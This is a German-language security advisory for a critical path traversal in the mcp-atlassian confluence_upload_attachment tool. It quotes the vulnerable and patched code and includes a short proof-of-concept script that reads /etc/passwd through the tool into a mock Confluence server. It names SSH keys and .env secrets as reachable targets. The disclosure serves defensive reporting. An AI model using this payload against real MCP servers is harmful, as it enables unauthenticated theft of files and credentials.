
Pfad-Traversal in mcp-atlassian über ZIP-Extraktion in upload_attachment — CVSS 9.3
Schweregrad: Kritisch (CVSS 9.3)
CWE: CWE-22 — Path Traversal
Betroffen: sooperset/mcp-atlassian >= 0.17.0 (Lese-Pendant zu GHSA-xjgw-4wvw-rgm4)
Advisory: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-27825
Das MCP-Tool confluence_upload_attachment übergibt sein file_path-Argument direkt an open(file_path, "rb") ohne Pfadvalidierung. Ein Angreifer, der das Tool aufrufen kann, liest beliebige Dateien vom Server-Dateisystem und exfiltriert sie über einen Multipart-Upload an einen vom Angreifer kontrollierten Confluence-Endpunkt. Der standardmäßige streamable-http-Transport bindet 0.0.0.0 ohne Authentifizierung, was dies ohne Anmeldedaten remote ausnutzbar macht.
Dies ist das symmetrische Lese-Pendant des zuvor gepatchten GHSA-xjgw-4wvw-rgm4 — der Fix in v0.17.0 deckte nur den Schreib-/Download-Pfad ab. Der Upload-Pfad blieb ungeschützt.
mcp-atlassian hatte bereits in v0.17.0 einen Path-Traversal-Fix erhalten (GHSA-xjgw-4wvw-rgm4), der den Schreibpfad patchte — das Herunterladen von Anhängen auf die lokale Festplatte. Meine Hypothese: Wenn ein Fix auf eine Richtung einer symmetrischen Operation angewendet wird, wird die andere Richtung oft übersehen.
Ich öffnete attachments.py und suchte nach allen open(-Aufrufen. Der Download-Pfad (Zeile 223, 272) hatte validate_safe_path(local_path) vor dem open() erhalten. Der Upload-Pfad (Zeile 477) hatte keinen. Gleiche Datei, gleiches Muster, inkonsistente Behandlung — ein klassischer unvollständiger Fix.
Die Tool-Definition bestätigte es: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] ohne pattern=-Einschränkung, ohne Validator, ohne alles. Das Feld ist buchstäblich als akzeptierender absoluter Pfad ohne Einschränkung dokumentiert.
Ich reproduzierte es Ende-zu-Ende: Ich startete den echten mcp-atlassian-Serverprozess, steuerte ihn mit einem MCP-stdio-Client (mcp.ClientSession), richtete ihn auf einen lokalen Mock-Confluence-HTTP-Stub aus und rief confluence_upload_attachment mit file_path=/etc/passwd auf. Der Mock-Server protokollierte den vollständigen /etc/passwd-Inhalt im Multipart-Body. Zwei vollständige Reproduktionsläufe, beide in den PoC-Dateien protokolliert.
Die standardmäßige HOST=0.0.0.0-Bindung ohne Auth macht dies in der Standardbereitstellung ohne Anmeldedaten remote ausnutzbar.
Datei: src/mcp_atlassian/confluence/attachments.py, Zeile 477
with open(file_path, "rb") as fp: # ← file_path ist angreiferkontrolliert
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
Tool-Definition (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# Kein pattern=, kein Validator, kein validate_safe_path()
Die Asymmetrie zum gepatchten Download-Pfad:
# attachments.py:223 — GEPATCHT (Download-Pfad)
validate_safe_path(local_path) # ← Guard in v0.17.0 hinzugefügt
open(local_path, "wb")
# attachments.py:477 — VERWUNDBAR (Upload-Pfad)
open(file_path, "rb") # ← kein Guard, in v0.17.0 übersehen
Der v0.17.0-Patch für GHSA-xjgw-4wvw-rgm4 fügte validate_safe_path()-Aufrufe auf der Schreibseite hinzu (Herunterladen von Anhängen auf die lokale Festplatte), auditierte aber nicht die Leseseite (Hochladen lokaler Dateien zu Confluence). Der check_write_access-Dekorator ist nicht verwandt — er sperrt nur READ_ONLY_MODE.
Standardmäßige Netzwerkexposition (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # bindet alle Schnittstellen
# keine Auth-Schicht im streamable-http-Transport
Vollständig Ende-zu-Ende gegen einen lokalen HTTP-Stub reproduziert, der die Confluence-API simuliert. Siehe mcp_client.py, mock_confluence.py und poc_run1.sh.
# poc_run1.sh — liest /etc/passwd über confluence_upload_attachment
# 1. Mock-Confluence-Endpunkt starten
python mock_confluence.py &
# 2. MCP-Tool mit Path-Traversal-Payload aufrufen
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → /etc/passwd-Inhalt erscheint im mock_confluence.py-Log
/etc/passwd, SSH-Schlüssel, .env, Anwendungsgeheimnisse)streamable-http-Transport bindet 0.0.0.0, keine Auth; jeder netzwerkerreichbare Angreifer kann MCP-Tools direkt aufrufen